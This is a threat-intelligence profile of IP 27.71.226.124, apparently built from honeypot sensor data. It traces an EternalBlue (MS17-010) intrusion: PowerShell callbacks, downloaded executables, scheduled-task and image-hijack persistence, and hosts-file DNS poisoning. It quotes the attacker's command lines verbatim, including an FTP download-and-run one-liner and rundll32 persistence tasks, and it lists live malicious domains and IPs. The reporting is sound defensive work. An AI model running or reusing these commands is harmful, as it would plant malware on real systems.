Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 27.71.226.124Malicious

IP Address: 27.71.226.124Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Download File System File Modification IDS - Attempted Administrator Privilege Gain IDS - A Network Trojan was detected Access Suspicious Domain Service Configuration Persistency - Image Hijack PowerShell Scheduled Task Run MS17-010 DNS Poisoning CMD Outgoing Connection Scheduled Task Creation SMB Null Session Login DNS Query Known Malware HTTP SMB Download and Execute

Associated Attack Servers

grantmindline.com neachers.com shell.loader0807.site

77.73.69.34 101.255.56.42 103.106.250.161 104.37.187.182 139.5.177.32 144.208.127.215 185.47.128.124

Basic Information

IP Address

27.71.226.124

Domain

-

ISP

Viettel Group

Country

Viet Nam

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2022-11-01

Last seen in Akamai Guardicore Segmentation

2023-05-29

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

IDS detected A Network Trojan was detected : ETERNALBLUE Probe Vulnerable System Response MS17-010

IDS - A Network Trojan was detected

IDS detected Attempted Administrator Privilege Gain : Windows SMB remote code execution attempt

IDS - Attempted Administrator Privilege Gain

The machine was exploited using the ms17-010 vulnerability

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 103.106.250.161:8161, 139.5.177.32:80, 139.5.177.32:8032, 144.208.127.215:8080 and 77.73.69.34:8034

Outgoing Connection

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: neachers.com and shell.loader0807.site

Access Suspicious Domain DNS Query Outgoing Connection

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified 4 times

System File Modification

The file C:\Windows\Temp\conhoy.exe was downloaded and executed 31 times

Download and Execute

C:\Windows\Temp\wmia.bat was downloaded

Download File

System file C:\windows\Temp\u.exe was modified 4 times

System File Modification

System file c:\windows\debug\item.dat was modified 4 times

System File Modification

C:\windows\Temp\ntuser.dat was downloaded

Download File

The file C:\windows\Temp\u.exe was downloaded and executed

Download and Execute

c:\windows\inf\aspnet\lsma22.exe was downloaded

Download File

Process c:\windows\temp\u.exe generated outgoing network traffic to: 104.37.187.182:80

Outgoing Connection

Process c:\windows\temp\u.exe attempted to access suspicious domains: grantmindline.com

Access Suspicious Domain Outgoing Connection

The command line rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa1

The command line cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa2

The command line rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\ok

The command line c:\windows\inf\aspnet\lsma22.exe was scheduled to run by modifying C:\Windows\System32\Tasks\oka

c:\windows\syswow64\reg.exe set the command line ntsd -d to run using Persistency - Image Hijack 3 times

Persistency - Image Hijack

The file C:\Windows\System\msinfo.exe was downloaded and executed

Download and Execute

The file C:\Windows\SysWOW64\wpcap.dll was downloaded and loaded by c:\windows\syswow64\dllhost.exe

Download and Execute

The file C:\Windows\SysWOW64\npptools.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

System file C:\Windows\System32\drivers\etc\hosts was modified

System File Modification

The file c:\windows\debug\item.dat was downloaded and loaded by c:\windows\system32\rundll32.exe

Download and Execute

Connection was closed due to user inactivity

Associated Files

C:\Windows\SysWOW64\wpcap.dll

SHA256: b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

282360 bytes

c:\windows\debug\item.dat

SHA256: 1e8441f0d32d3854e0b3801063f6015a9f09637d77b714f8e58fb8c198693a51

4122624 bytes

C:\Windows\System\msinfo.exe

SHA256: 20c29760791e953c383bcc5a49ceb1c4b96f077c7ad8a6d7d14b030b5804acc5

7277056 bytes

c:\windows\temp\conhoy.exe

SHA256: 3b0994945c5666c365cc5505b837e60705a2fb98b8846ecc1551de117d609206

10240 bytes

C:\Windows\SysWOW64\npptools.dll

SHA256: 366b77df76729d08687051c1ec4b718ba1d650bca5b16eb15ec5c11570d6ff16

48128 bytes